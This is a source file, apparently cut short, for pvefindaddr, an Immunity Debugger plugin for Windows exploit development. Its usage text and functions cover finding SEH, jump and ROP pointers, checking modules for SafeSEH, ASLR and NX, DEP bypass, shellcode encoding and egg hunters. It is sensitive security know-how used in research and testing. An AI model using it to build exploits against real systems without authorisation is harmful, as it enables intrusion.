Files
Win32_Exploitation/tools/pvefindaddr.py
2021-09-10 12:39:21 +02:00

5172 lines
238 KiB
Python

#!/usr/bin/env python
"""
(c) Peter Van Eeckhoutte 2009-2010
U{Peter Van Eeckhoutte - corelan.<http://www.corelan.be:8800>}
peter.ve@corelan.be
corelanc0d3r
$Date: 2011-01-11 12:20:33 +0100 (di, 11 jan 2011) $
$Revision: 61 $
"""
__VERSION__ = '2.0.13'
__DBG__ = 'Immunity Debugger v1.73'
import immlib
import getopt
import immutils
from immutils import *
import struct
import binascii, re
from libstackanalyze import *
import urllib
import shutil
import sys
import time
import datetime
DESC = "corelanc0d3r's toolkit for exploit development. Warning : This is just a tool. It requires brains and creativity !"
"""
Global stuff
"""
g_modules=[]
g_mods=[]
g_naslrlist=[]
def usage(imm):
imm.log("")
imm.log("")
imm.log("=" * 145)
imm.log(" !pvefindaddr - PyCommand for %s - Current plugin version : %s " % (__DBG__,__VERSION__))
imm.log(" Written by Peter Van Eeckhoutte (aka corelanc0d3r) - http://www.corelan.be:8800")
imm.log(" http://redmine.corelan.be:8800 - peter.ve@corelan.be")
imm.log(" |------------------------------------------------------------------|",highlight=1)
imm.log(" | __ __ |",highlight=1)
imm.log(" | _________ ________ / /___ _____ / /____ ____ _____ ___ |",highlight=1)
imm.log(" | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |",highlight=1)
imm.log(" | / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |",highlight=1)
imm.log(" | \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |",highlight=1)
imm.log(" | |",highlight=1)
imm.log(" |------------------------------------------------------------------|",highlight=1)
imm.log("")
imm.log("!pvefindaddr Usage")
imm.log("------------------")
imm.log("")
imm.log(" !pvefindaddr <operation> [<options>]")
imm.log("")
imm.log("Valid operations:")
imm.log("")
imm.log("* update [get] (Checks if an updated version of this plugin is available for download)")
imm.log(" If you specify the optional get parameter, the plugin will update itself")
imm.log("* selfupdate (Does the same as 'update get')")
imm.log("* find bytes [-a access] [-l startaddress] [-t endaddress] [-m <module>] [-c]")
imm.log(" (Finds all instances of a sequence of bytes in memory")
imm.log(" and shows some information about each location")
imm.log(" The bytes to search for should be 2 char aligned, no spaces, no 0x or \\x")
imm.log(" You can optionally filter on the access level for each location :")
imm.log(" r (read), w (write), x (executable)")
imm.log(" rw (read and write), rx (read and executable), rwx and wx")
imm.log(" Option -m takes precedence over -l and -t")
imm.log(" Option -c : skip consecutive pointers")
imm.log("* a [-m <module>] [-n] [-o] (look for add esp 8/ret (pop pop ret alternative)) - optionally specify module to filter on")
imm.log(" Only addresses from non-safeseh and non-aslr modules will be listed")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log("* p [-m <module>] [-r <reg>] [-n] [-o]")
imm.log(" (look for pop pop ret) - optionally specify reg and module to filter on")
imm.log(" Only addresses from non-safeseh protected modules/binaries will be listed")
imm.log(" Unless you have specified a reg and module")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log(" Output is written to file ppr.txt")
imm.log("* p1 [-m <module>] [-r <reg>] [-n] [-o]")
imm.log(" (look for pop pop ret) - optionally specify reg and module to filter on")
imm.log(" Only addresses from non-safeseh protected and non-aslr/non-fixup modules/binaries will be listed")
imm.log(" Unless you have specified a reg and module")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log(" Output is written to file ppr1.txt")
imm.log("* p2 [-m <module>] [-r <reg>] [-n] [-o]")
imm.log(" (look for pop pop ret) - optionally specify reg and module to filter on")
imm.log(" This will perform a normal search for pop pop ret addresses (also in safeseh compiled modules")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log(" Output is written to file ppr2.txt")
imm.log("* xp [-m <module>] [-r <reg>] [-n] [-o]")
imm.log(" (look for xor pop pop ret) - optionally specify reg and module to filter on")
imm.log(" Only addresses from non-safeseh protected modules/binaries will be listed")
imm.log(" Unless you have specified a reg and module")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log(" Output is written to file xppr.txt")
imm.log("* xp1 [-m <module>] [-r <reg>] [-n] [-o]")
imm.log(" (look for xor pop pop ret) - optionally specify reg and module to filter on")
imm.log(" Only addresses from non-safeseh protected and non-aslr/non-fixup modules/binaries will be listed")
imm.log(" Unless you have specified a reg and module")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log(" Output is written to file xppr1.txt")
imm.log("* xp2 [-m <module>] [-r <reg>] [-n] [-o]")
imm.log(" (look for xor pop pop ret) - optionally specify reg and module to filter on")
imm.log(" This will perform a normal search for pop pop ret addresses (also in safeseh compiled modules")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log(" Output is written to file xppr2.txt")
imm.log("* jseh [all] (look for jmp/call dword ptr[ebp/esp+nn and ebp-nn] + add esp,8+ret)")
imm.log(" Only addresses outside address range of modules will be listed")
imm.log(" unless parameter 'all' is given. In that case, all addresses will be listed. TRY THIS ONE !")
imm.log("* j -r <reg> [-m <module>] [-n] [-o]")
imm.log(" (look for jmp <reg>, call <reg>, push <reg>+ret) (optionally filter on module)")
imm.log(" When option -r reg is not provide, the tool will search for jumps to ESP by default")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log(" Output is written to log and to file j.txt")
imm.log("* jp -r <reg> [-m <module>] (look for jmp <reg>, call <reg>, push <reg>+ret) (optionally filter on module),")
imm.log(" and then looks for pointers to those addresses")
imm.log(" Output is written to log and to file jp.txt. Note : this one can take a long time !")
imm.log("* jo -r <reg> -l minoffset -t maxoffset [-m <module>] [-n] [-o]")
imm.log(" (look for an address that will lead to jump to a register - or + offset )")
imm.log(" Output is written to log and to file jo.txt");
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log("* fa [byte pattern] (Find all locations that point to AAAA and then look for locations that point to these pointers)")
imm.log(" You can optionally specify your own search pattern (2 or 4 bytes, each byte separated with spaces)")
imm.log(" Output is written to log and to file fa.txt")
imm.log("* fd [allownull] Find readable memory address which, when multiplied by 2, still points")
imm.log(" to a readable address. If parameter 'allownull' is specified, addresses")
imm.log(" containing null bytes will be listed as well)")
imm.log(" Warning : it might take a few days before this script completes the job !")
imm.log("* pdep [-r <reg>] [-m <module>] [-n] [-o]")
imm.log(" (look for dep bypass instructions such as pop pop pop esp ret)")
imm.log(" You can optionally specify reg and module to filter on")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log("* depxp (List addresses that can be used to set up stack in order to disable DEP - until XP SP3")
imm.log("* depwin2k3 (List addresses that can be used to set up stack in order to disable DEP - Win2k3 SP2")
imm.log("* nosafeseh (List all modules that are not safeseh protected)")
imm.log("* nosafesehaslr (List all modules that are not safeseh and not aslr protected)")
imm.log("* noaslr (List all modules that are not aslr protected)")
imm.log("* rop [-m <module>] [-f <filter>] [-n] [-o] [-i] [-r max_ret_value] [-s] [-d] [-c <instruction>]")
imm.log(" (List possible ROP gadgets from non-ASLR protected modules. You can optionally filter)")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log(" Option -i : don't show pointers from modules that have the Fixup flag set")
imm.log(" Parameter -r allows you to specify the maximum RET offset to look for. Default value : 32")
imm.log(" Warning : if you don't specify a module and/or a lower RET offset, the process can take a very long time to complete")
imm.log(" The -s option will split the rop output into a dedicated file per module. The filenames will include")
imm.log(" modulename, version, OS type and OS version")
imm.log(" Option -d will search deeper (longer) and might find possibly interesting gadgets")
imm.log(" Option -c + instruction (no quotes, spaces are allowed) will allow you to look for gadgets ending with this instruction")
imm.log(" as opposed to looking for gadgets ending with RET")
imm.log("* jrop [-m <module>] [-n] [-o] (List possible jumpboards to your ROP chain at ESP, from non-ASLR protected modules. You can optionally filter)")
imm.log(" on a specific module. Output will be written to jrop.txt")
imm.log(" Obviously, you can just use a RET or directly jump to a ROP gadget as well")
imm.log(" Option -n : don't show pointers that contain null bytes")
imm.log(" Option -o : don't show pointers from modules in the Windows folder")
imm.log("* ropcall [-m <module>] [-n] (Find all 'call' to DEP bypass functions in loaded non-ASLR modules)")
imm.log(" Option -m <modulename> will allow you to filter on modulename")
imm.log(" Option -n will ignore all pointers that have null bytes")
imm.log(" Output will be written to ropcall.txt")
imm.log("* findmsp [pat] (Find metasploit pattern offset in registers and/or sehchain records")
imm.log(" if [pat] is specified (4 ascii characters or 10 byte address (0xDEADBEEF)), then only offset search is performed")
imm.log("* pattern_create size (Create Metasploit pattern of <size> characters)")
imm.log(" pattern is displayed in log window and written to file mspattern.txt")
imm.log("* pattern_offset bytes [size] (Find bytes (4 ascii characters or 10 byte address (0xDEADBEEF) in Metasploit pattern with length <size>)")
imm.log(" If no size is given, a default pattern of 8000 characters is used")
imm.log("* suggest (Suggest a payload based on metasploit offset and whether this is direct RET or SEH overwrite)")
imm.log(" Note : this is just a suggestion and may not work - you need to look at registers yourself")
imm.log(" if you want to be sure. Also, it will not suggest anything useful when HW DEP/NX is enabled")
imm.log("* compare file [address] (Compares memory contents with bytes in a given file. If no address is given, ")
imm.log(" the script will try to locate the bytes in memory by looking at the first 8 bytes")
imm.log(" All output will be written to file compare.txt")
imm.log("* assemble <instructions> (Convert instructions to opcode. Separate multiple instructions with #")
imm.log(" You can automatically invoke the encoder on the produced opcodes by adding the ")
imm.log(" encode ascii (or encode alphanum) statement after the instructions")
imm.log("* offset addr1 addr2 (Calculates number of bytes between two addresses (use this if you are too lazy to use calc)")
imm.log(" Note : you can also replace one (or both) addresses with a register")
imm.log(" Finally, you can also specify 8 bytes as addr2. The tool will then search for these 8 bytes")
imm.log(" and calculate the offset between addr1 and the memory location of these 8 bytes")
imm.log(" Format to specify these 8 bytes : use 16 characters, no spaces, and don't start with 0x")
imm.log("* encode type bytes (Custom encoder)");
imm.log(" Valid type(s) are : ascii and alphanum")
imm.log(" Format to specify the bytes : just type the bytes (2 byte aligned) right after each other")
imm.log(" Example : !pvefindaddr encode ascii 81C253040000FFE2")
imm.log(" Alternatively, you can also specify the filename that contains the bytes to be encoded")
imm.log(" Example : !pvefindaddr encode c:\\tmp\\original.bin")
imm.log(" You can also specify the address in memory that contains the bytes to be encoded")
imm.log(" (start with -b) followed by the number of bytes, optionally followed by bad chars")
imm.log(" Example : !pvefindaddr encode -b0012FC01 78")
imm.log(" Finally, you can put a list of badchars (same format as bytes) after the bytecode, filename")
imm.log(" or size (if memory address is used)")
imm.log(" All output will be written to file encoded.txt")
imm.log(" * info address (Will show some information about a given address within the context of the loaded application)")
imm.log(" * modules (Will show table with all loaded modules + some additional info (safeseh, aslr, etc))")
imm.log(" * functions [ALL] (Will output pointers to all functions in the application.) If you specify ALL (optional parameter)")
imm.log(" then functions from loaded os dll's will be shown as well. Output is written to functions.txt")
imm.log(" * omelet -f shellcodefile [-s size] [-t tag]")
imm.log(" (Will create eggs-to-omelet hunter and egg blocks based on raw shellcode written to file shellcodefile")
imm.log(" You can optionally set the size per block (max 123 bytes, default value) and change the tag,")
imm.log(" which is set to 303077 by default. If you want to specify your own, make sure it's 6 chars")
imm.log(" * filecompare -f \"file1,file2,...filen\"")
imm.log(" (Will compare the output of files created with pvefindaddr and display the pointers that have been found")
imm.log(" in all of the files.) Make sure to use files that are created with the same version of pvefindaddr")
imm.log(" and contain the output of the same pvefindaddr command")
imm.log(" Put all filenames between one set of double quotes, and separate files with comma's !")
imm.log(" Output will be written to filecompare.txt")
imm.log(" * retslide [-r <value>] (Will search for ret slides - pointers that consist of 4 times the same bytes (or 2 time 2) and point to RET)")
imm.log(" option -r can be used to override the default value of 32 as maximum offset for RET instruction to search for")
imm.log(" * dump -f <filename> -s <startaddress> -e <endaddress> | -l <nr of bytes>")
imm.log(" (Will dump <nr_of_bytes> (decimal integer) from a given memory address (at <startaddress>) to file <filename>")
imm.log(" Alternatively you can specify an endaddress (-e) instead of specifying the nr of bytes")
imm.log(" Example : !pvefindaddr dump c:\\temp\\process.bin 0012FA83 120")
imm.log("")
imm.log("=" * 145)
imm.log("")
imm.log("")
"""
Function to check if updated version of pvefindaddr is available
"""
def findupdate(imm):
versionurl="http://redmine.corelan.be:8800/projects/pvefindaddr/repository/raw/release/version.txt"
filename="pvefindaddrlatest.txt"
imm.log(" ----------------------------------------------------------------------------------------")
imm.log(" Current version : %s " % __VERSION__)
newversion=__VERSION__
try:
imm.log(" Downloading version information, please wait...")
imm.updateLog()
u = urllib.urlretrieve(versionurl)
imm.log(" -> Download complete - now comparing version information")
imm.updateLog()
shutil.move(u[0],filename)
try:
fd = open(filename,"rb")
content = fd.readlines()
fd.close()
for eachLine in content:
newversion=eachLine
newversion=newversion.replace('\n','')
if (newversion != __VERSION__):
imm.log(" [!] Latest published (stable) version of this PyCommand is : v%s" % newversion,highlight=1)
if (__VERSION__.find("dev") > -1):
imm.log(" ** You are running a svn/development version of pvefindaddr ** ")
imm.log(" Use 'svn co http://svn.corelan.be:8800/svn/pvefindaddr' ")
imm.log(" (or use a GUI client such as TortoiseSVN)")
imm.log(" to update this version")
else:
imm.log(" Go to http://redmine.corelan.be:8800/projects/pvefindaddr")
imm.log(" to download the latest version of this script")
imm.log(" [!] You can also run '!pvefindaddr update get' to download the updated version ")
else:
imm.log(" -> You are running the latest version !")
except:
imm.log(" *** Unable to verify latest version ***")
except:
imm.log(" *** Unable to download version information, try again later ***")
imm.log(" ----------------------------------------------------------------------------------------")
def getupdate(imm,type):
versionurl = "http://redmine.corelan.be:8800/projects/pvefindaddr/repository/raw/release/version.txt"
filename = "pvefindaddrlatest.txt"
fversion = "v1.73"
if __DBG__.find("1.8") > -1:
fversion = "v1.8"
appurl="http://redmine.corelan.be:8800/projects/pvefindaddr/repository/raw/" + type + "/" + fversion + "/pvefindaddr.py"
appfilename="pvefindaddr.tmp"
imm.log(" ----------------------------------------------------------------------------------------")
imm.log(" Current version : %s (%s) " % (__VERSION__,type))
newversion=__VERSION__
try:
imm.log(" Downloading version information, please wait...")
imm.updateLog()
u = urllib.urlretrieve(versionurl)
imm.log(" -> Download complete - now comparing version information")
imm.updateLog()
shutil.move(u[0],filename)
try:
fd = open(filename,"rb")
content = fd.readlines()
fd.close()
for eachLine in content:
newversion=eachLine
newversion=newversion.replace('\n','')
if (newversion != __VERSION__) and (__VERSION__.find("dev") == -1):
imm.log(" -> Downloading version %s" % newversion)
imm.updateLog()
try:
u = urllib.urlretrieve(appurl)
shutil.move(u[0],appfilename)
fd = open(appfilename,"rb")
content = fd.readlines()
fd.close()
linecnt=0
for eachLine in content:
linecnt=linecnt+1
imm.log(" -> Download complete, read %d lines" % linecnt)
if linecnt > 1000:
imm.log(" -> Putting updated file in place")
apptargetfile=".\\PyCommands\\pvefindaddr.py"
FILE=open(apptargetfile,"w")
for eachLine in content:
FILE.write(eachLine)
FILE.close()
imm.log(" -> Update complete")
else:
imm.log(" ** Downloaded file is smaller than expected - skipping update for now",highlight=1)
except:
imm.log(" *** Unable to update to version %s" % newversion)
else:
if (__VERSION__.find("dev")==-1):
imm.log(" -> You are running the latest version !")
else:
imm.log(" -> Downloading svn (development version)")
imm.updateLog()
try:
u = urllib.urlretrieve(appurl)
shutil.move(u[0],appfilename)
fd = open(appfilename,"rb")
content = fd.readlines()
fd.close()
linecnt=0
for eachLine in content:
linecnt=linecnt+1
imm.log(" -> Download complete, read %d lines" % linecnt)
if linecnt > 1000:
imm.log(" -> Putting updated file in place")
apptargetfile=".\\PyCommands\\pvefindaddr.py"
FILE=open(apptargetfile,"w")
for eachLine in content:
FILE.write(eachLine)
FILE.close()
imm.log(" -> Update complete")
else:
imm.log(" ** Downloaded file is smaller than expected - skipping update for now ** ",highlight=1)
except:
imm.log(" *** Unable to update development version")
except:
imm.log(" *** Unable to verify latest version ***")
except:
imm.log(" *** Unable to download version information, try again later ***")
imm.log(" ----------------------------------------------------------------------------------------")
"""
Function to dump stuff from memory to file
"""
def dodump(args):
imm = immlib.Debugger()
cnt=1
filename=""
startaddress=""
endaddress=""
startloc=0
endloc=0
nrofbytes=0
while cnt < len(args):
if args[cnt]=='-f':
if cnt < (len(args)-1):
filename=args[cnt+1]
if args[cnt]=='-s':
if cnt < (len(args)-1):
startaddress=args[cnt+1]
if args[cnt]=='-l':
if cnt < (len(args)-1):
nrofbytes=int(args[cnt+1])
if args[cnt]=='-e':
if cnt < (len(args)-1):
endaddress = args[cnt+1]
cnt=cnt+1
if (filename=="" or startaddress=="" or (nrofbytes==0 and endaddress=="")):
imm.log("Invalid arguments")
return "Invalid arguments"
imm.updateLog()
startaddress=startaddress.replace('0x','')
startaddress=startaddress.replace('0X','')
startloc=addresstoint(startaddress)
endaddress=endaddress.replace('0x','')
endaddress=endaddress.replace('0X','')
if endaddress != "":
endloc=addresstoint(endaddress)
if endloc == 0:
endloc = startloc + nrofbytes
endaddress = tohex(endloc)
else:
nrofbytes = endloc - startloc
imm.log("Reading %d bytes (from %s to %s)..." % (nrofbytes,startaddress,endaddress))
bytes=""
cnt=0
while cnt<nrofbytes:
try:
memchar = imm.readMemory(startloc+cnt,1)
bytes=bytes+memchar
cnt=cnt+1
except:
cnt=cnt+1
pass
imm.log("Writing bytes to file %s" % (filename))
try:
FILE=open(filename,"wb")
FILE.write(bytes)
FILE.close()
imm.log("Done")
except:
imm.log("Unable to write bytes to file")
return "Done"
"""
Function to guess start of a long string (AAAA or something like that)
"""
def guessstart(asciivalue,type):
imm = immlib.Debugger()
#did we overwrite EIP or seh chain ?
if type==1:
#EIP overwritten
regs = imm.getRegs()
for reg in regs:
if reg.upper() == "EIP":
#in most cases, ESP now points at location right after direct RET was overwritten
startloc=regs["ESP"]
imm.log(" Trying to guess the startlocation of the buffer with %s's " % asciivalue)
imm.log(" Please wait, this may take a long time...")
imm.updateLog()
counter=8
found=0
matchnull=0
try:
while found == 0:
memchar = imm.readMemory(startloc-counter,4)
#only react if 2 out of 4 bytes don't match and ignore (but count) null bytes
match=0
bytecnt=0
for mybyte in memchar:
if (mybyte == asciivalue[bytecnt] or hex(ord(mybyte))=="0x0"):
match=match+1
if hex(ord(mybyte)) == "0x0":
matchnull=matchnull+1
bytecnt=bytecnt+1
if (match < 3):
found=1
imm.log(" Start of string may have be found at %s " % tohex(startloc-counter+match),address=startloc-counter+match,highlight=1)
curloc=startloc-counter
offs=startloc-curloc-8-match
imm.log(" That means that EIP may have been overwritten after about %d bytes (more or less - I could be wrong !)" % offs)
imm.log(" (including %d null bytes)" % matchnull)
imm.log(" Again, this is just a guess - try using a Metasploit pattern instead of %s" % asciivalue)
counter=counter+4
except:
imm.log(" Quit searching (access violation at %s)" % tohex(startloc))
if type==2:
imm.updateLog()
thissehchain=imm.getSehChain()
nrofentries=0
for chainentry in thissehchain:
imm.updateLog()
sehvalue=tohex(chainentry[1])
hex1=sehvalue[6]+sehvalue[7]
hex2=sehvalue[4]+sehvalue[5]
hex3=sehvalue[2]+sehvalue[3]
hex4=sehvalue[0]+sehvalue[1]
sehasciivalue=toascii(imm,hex1)+toascii(imm,hex2)+toascii(imm,hex3)+toascii(imm,hex4)
if (sehasciivalue == asciivalue):
startloc=chainentry[0]
imm.log(" Trying to guess the startlocation of the buffer with %s's " % asciivalue)
imm.log(" Please wait, this may take a long time...")
imm.updateLog()
counter=8
found=0
matchnull=0
try:
while found == 0:
memchar = imm.readMemory(startloc-counter,4)
#only react if 2 out of 4 bytes don't match and ignore (but count) null bytes
match=0
bytecnt=0
for mybyte in memchar:
if (mybyte == asciivalue[bytecnt] or hex(ord(mybyte))=="0x0"):
match=match+1
if hex(ord(mybyte)) == "0x0":
matchnull=matchnull+1
bytecnt=bytecnt+1
if (match < 3):
found=1
imm.log(" Start of string may have be found at %s " % tohex(startloc-counter+match+8),address=startloc-counter+match+8,highlight=1)
curloc=startloc-counter+8
offs=startloc-curloc-match
imm.log(" That means that SEH may have been overwritten after about %d bytes (more or less - I could be wrong !)" % offs)
imm.log(" (including %d null bytes... )" % matchnull)
imm.log(" Again, this is just a guess - try using a Metasploit pattern instead of %s" % asciivalue)
counter=counter+4
except:
imm.log(" Quit searching (access violation at %s)" % tohex(startloc))
"""
Function to build table with all modules and safeseh / aslr / ... info
"""
def moduleinfo():
imm = immlib.Debugger()
imm.log("** [+] Gathering executable / loaded module info, please wait...")
global g_modules
g_modules=[]
allmodules=imm.getAllModules()
global g_mods
g_mods=allmodules
global g_nsafelist
g_nsafelist=[]
for key in allmodules.keys():
issafeseh=1
isaslr=1
isnx=1
rebased=0
mod=imm.getModule(key)
mzbase=mod.getBaseAddress()
mzrebase=mod.getFixupbase()
mzsize=mod.getSize()
mversion=mod.getVersion()
mversion=mversion.replace(", ",".")
mversionfields=mversion.split('(')
mversion=mversionfields[0].replace(" ","")
if mversion=="":
mversion="-1.0-"
path=mod.getPath()
osmod=mod.getIssystemdll()
if osmod==0:
if path.upper().find("WINDOWS") > -1:
osmod=1
mztop=mzbase+mzsize
if mzbase > 0:
peoffset=struct.unpack('<L',imm.readMemory(mzbase+0x3c,4))[0]
pebase=mzbase+peoffset
flags=struct.unpack('<H',imm.readMemory(pebase+0x5e,2))[0]
numberofentries=struct.unpack('<L',imm.readMemory(pebase+0x74,4))[0]
#safeseh ?
if (flags&0x400)!=0:
issafeseh=1
else:
if numberofentries>10:
sectionaddress,sectionsize=struct.unpack('<LL',imm.readMemory(pebase+0x78+8*10,8))
sectionaddress+=mzbase
data=struct.unpack('<L',imm.readMemory(sectionaddress,4))[0]
condition=(sectionsize!=0) and ((sectionsize==0x40) or (sectionsize==data))
if condition==False:
issafeseh=0
g_nsafelist.append(key)
else:
sehlistaddress,sehlistsize=struct.unpack('<LL',imm.readMemory(sectionaddress+0x40,8))
if sehlistaddress!=0 and sehlistsize!=0:
issafeseh=1
#aslr
if (flags&0x0040)==0: # 'IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE
isaslr=0
if (flags&0x0100)==0:
isnx=0
if mzrebase <> mzbase:
rebased=1
# 0 1 2 3 4 5 6 7 8 9 10
curmod=key+'\t'+path+'\t'+str(mzbase)+'\t'+str(mzsize)+'\t'+str(mztop)+'\t'+str(issafeseh)+'\t'+str(isaslr)+'\t'+str(isnx)+'\t'+str(rebased)+'\t'+str(mversion)+'\t'+str(osmod)
g_modules.append(curmod)
imm.updateLog()
imm.log("** [+] Finished task, %d modules found" % len(g_modules))
imm.updateLog()
def getropfilename(modname):
imm = immlib.Debugger()
if len(g_modules)==0:
moduleinfo()
mfound=0
strfilename=""
if modname <> "":
for mname in g_modules:
mnamentry=mname.split('\t')
if mnamentry[0].lower().startswith(modname.lower()):
mfound=1
modname=mnamentry[0]
mversion=mnamentry[9]
if mversion <> "":
mversion="_v"+mversion
if mfound==1:
osver=imm.getOsVersion()
osrel=imm.getOsRelease()
strfilename="rop_" + modname.lower()+mversion+"_"+osver+"_"+osrel+".txt"
return strfilename
def isosmodule(modname):
if len(g_modules)==0:
moduleinfo()
osmodule=0
mpath=""
msystem=""
mfound=0
if modname <> "":
for mname in g_modules:
mnamentry=mname.split('\t')
if mnamentry[0].lower().startswith(modname.lower()):
mfound=1
mpath=mnamentry[1]
msystem=mnamentry[10]
if mfound==1:
if int(msystem) == 1:
osmodule=1
else:
if mpath.upper().find("WINDOWS") > -1:
osmodule=1
return osmodule
def getmodnamefromptr(thisptr):
if len(g_modules)==0:
moduleinfo()
modname=""
for thismname in g_modules:
mnamentry=thismname.split('\t')
thisbase=int(mnamentry[2])
thistop=int(mnamentry[4])
if (thisptr >= thisbase) and (thisptr <= thistop):
modname=mnamentry[0]
return modname
def getmodnamefromname(searchname):
if len(g_modules)==0:
moduleinfo()
modname=""
searchname = searchname.strip().lower()
foundname = ""
for thismname in g_modules:
mnamentry=thismname.split('\t')
modname=mnamentry[0].strip().lower()
if searchname == modname:
foundname = mnamentry[0]
else:
l = len(searchname)
if l <= len(modname):
if modname[0:l] == searchname:
foundname = mnamentry[0]
return foundname
def getRet(imm, allocaddr, max_opcodes = 500):
addr = allocaddr
for a in range(0, max_opcodes):
op = imm.DisasmForward( addr )
if op.isRet():
return op.getAddress()
addr = op.getAddress()
return 0x0
def getmoduleprop(modname,parameter):
imm = immlib.Debugger()
modname=modname.strip()
parameter=parameter.lower()
modname=modname.lower()
valtoreturn=""
if parameter=="path":
field=1
if parameter=="base":
field=2
if parameter=="size":
field=3
if parameter=="top":
field=4
if parameter=="safeseh":
field=5
if parameter=="aslr":
field=6
if parameter=="nx":
field=7
if parameter=="fixup":
field=8
if parameter=="version":
field=9
if parameter=="systemdll":
field=10
if len(g_modules)==0:
moduleinfo()
for mod in g_modules:
modrecord=mod.split('\t')
try:
if modname==modrecord[0].lower().strip():
valtoreturn=modrecord[field]
except:
valtoreturn=""
return valtoreturn
"""
Function to list all modules that are not safeseh protected
"""
def getnosafeseh(imm):
nosafesehmod=[]
if len(g_modules)==0:
moduleinfo()
for mods in g_modules:
modrecord=mods.split('\t')
if modrecord[5]=="0":
nosafesehmod.append(modrecord[0])
return nosafesehmod
"""
Function to get the address of a function from a given module
"""
def getfuncaddress(module,function):
function=function.lower()
module=module.lower()
imm = immlib.Debugger()
if len(g_modules)==0:
moduleinfo()
baseloc=0
ret=0
modfound=0
for mods in g_modules:
modrecord=mods.split('\t')
if modrecord[0].lower()==module:
baseloc=modrecord[2]
modfound=1
if modfound==0:
#load module
try:
imm.log(" ** Attempting to load module %s" % (module),highlight=1)
imm.inject_dll("c:\\windows\\system32\\"+module)
except:
pass
moduleinfo()
baseloc=0
modfound=0
for mods in g_modules:
modrecord=mods.split('\t')
if modrecord[0].lower()==module:
baseloc=int(modrecord[2])
modfound=1
if baseloc > 0:
#load module
mod=imm.getModule(module)
mzbase=mod.getBaseAddress()
if imm.isAnalysed(mzbase) <> 1:
imm.analyseCode( mzbase )
imm.updateLog()
allfuncs=[]
allfuncs=imm.getAllFunctions(mzbase)
for thisfunc in allfuncs:
#Get function name at this address
funcloc = imm.getFunction( thisfunc )
ffullname = imm.decodeAddress( thisfunc )
fname=ffullname.split('.')
if len(fname) > 0:
if fname[1].lower()==function:
ret=thisfunc
return ret
"""
Function to list all modules that are not aslr aware and not compiled with safeseh either
"""
def getnosafesehaslr(imm,mode):
nrfound=0
if len(g_modules)==0:
moduleinfo()
for mods in g_modules:
modrecord=mods.split('\t')
mzbase=int(modrecord[2])
mztop=int(modrecord[4])
path=modrecord[1]
key=modrecord[0]
extra=""
if (modrecord[8]=="1"):
extra=" - !BaseFixup!"
else:
extra=""
if modrecord[6]=="0": #
if modrecord[5]=="0":
imm.log("*[+] 0x%08x - 0x%08x : %s %s (*** No ASLR, No Safeseh ***) - %s" % (mzbase,mztop,key,extra,path),highlight=1)
nrfound=nrfound+1
else:
if (mode == 0):
imm.log(" [-] 0x%08x - 0x%08x : %s %s (No ASLR, but Safeseh protected) - %s" % (mzbase,mztop,key,extra,path))
imm.log("Number of non-protected modules found : %d" % nrfound)
imm.log("")
"""
Function to see if a given module is safeseh protected or not
"""
def ismodulenosafeseh(modulename):
found=0
modulename=modulename.lower().strip()
if len(g_modules)==0:
moduleinfo()
for mods in g_modules:
modrecord=mods.split('\t')
if ((modrecord[0].lower().strip()==modulename) and (modrecord[5]=="0")):
found=1
return found
"""
Function to see if a given module is aslr protected or not
"""
def ismodulenoaslr(modulename):
found=0
modulename=modulename.lower().strip()
if len(g_modules)==0:
moduleinfo()
for mods in g_modules:
modrecord=mods.split('\t')
if ((modrecord[0].lower().strip()==modulename) and (modrecord[6]=="0")):
found=1
return found
def shownosafeseh():
imm = immlib.Debugger()
cnt=0
if len(g_modules)==0:
moduleinfo()
imm.log("Safeseh unprotected modules : ")
for mods in g_modules:
modrecord=mods.split('\t')
if (modrecord[5]=="0"):
found=1
mzbase=int(modrecord[2])
mztop=int(modrecord[4])
path=modrecord[1]
np=modrecord[0]
imm.log(" * 0x%08x - 0x%08x : %s (%s)" % (mzbase,mztop,np,path),highlight=1)
imm.updateLog()
cnt=cnt+1
if cnt>0:
imm.log("%d out of %d modules are not safeseh protected" % (cnt,len(g_modules)))
else:
imm.log("All modules are safeseh compiled - good luck !")
imm.log("--------------------------------------------------------------")
imm.updateLog()
def dofind(imm,args,modulefilter):
filename="find.txt"
resetfile(filename)
startaddress=0
endaddress=2147483647
skipconsec=0
cnt=0
mask=""
while cnt < len(args):
if args[cnt]=='-l':
if cnt < (len(args)-1):
startaddress=str(args[cnt+1])
startaddress=startaddress.lower().replace("0x","")
startaddress="0x" + startaddress
startaddress=int(startaddress,16)
if args[cnt]=='-t':
if cnt < (len(args)-1):
endaddress=str(args[cnt+1])
endaddress=endaddress.lower().replace("0x","")
endaddress="0x" + endaddress
endaddress=int(endaddress,16)
if args[cnt]=='-a':
if cnt < (len(args)-1):
mask=str(args[cnt+1])
if args[cnt]=='-c':
skipconsec=1
cnt=cnt+1
if len(args) > 1:
#convert bytes to bytecode
cnt=0
nrfound=0
nrdone=0
strb=""
inp=args[1]
while cnt < len(inp):
try:
strb=strb+binascii.a2b_hex(inp[cnt]+inp[cnt+1])
cnt=cnt+2
except:
imm.log("You may have provided an odd length byte string")
pass
cnt=cnt+2
imm.log("Searching for %s, please wait ..." % inp)
imm.updateLog()
